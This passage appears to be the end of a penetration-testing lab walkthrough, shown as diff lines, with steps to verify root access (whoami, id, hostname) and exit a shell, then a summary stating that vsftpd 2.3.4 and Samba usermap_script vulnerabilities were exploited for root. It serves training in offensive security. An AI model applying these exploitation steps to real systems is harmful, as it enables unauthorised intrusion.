|
+
|
|
157
|
+
------------------------------------------------------------
|
|
158
|
+
|
|
159
|
+
STEP 21 — Verify Root Access
|
|
160
|
+
|
|
161
|
+
whoami
|
|
162
|
+
|
|
163
|
+
id
|
|
164
|
+
|
|
165
|
+
hostname
|
|
166
|
+
|
|
167
|
+
------------------------------------------------------------
|
|
168
|
+
|
|
169
|
+
STEP 22 — Exit Shell
|
|
170
|
+
|
|
171
|
+
exit
|
|
172
|
+
|
|
173
|
+
============================================================
|
|
174
|
+
RESULT
|
|
175
|
+
============================================================
|
|
176
|
+
|
|
177
|
+
1. Network connectivity verified
|
|
178
|
+
2. Target scanned using Nmap
|
|
179
|
+
3. vsftpd 2.3.4 vulnerability exploited
|
|
180
|
+
4. Samba usermap_script vulnerability exploited
|
|
181
|
+
5. Root access gained successfully
|
|
182
|
+
|
|
183
|
+
============================================================
|
|
184
|
+
END
|
|
185
|
+
============================================================
|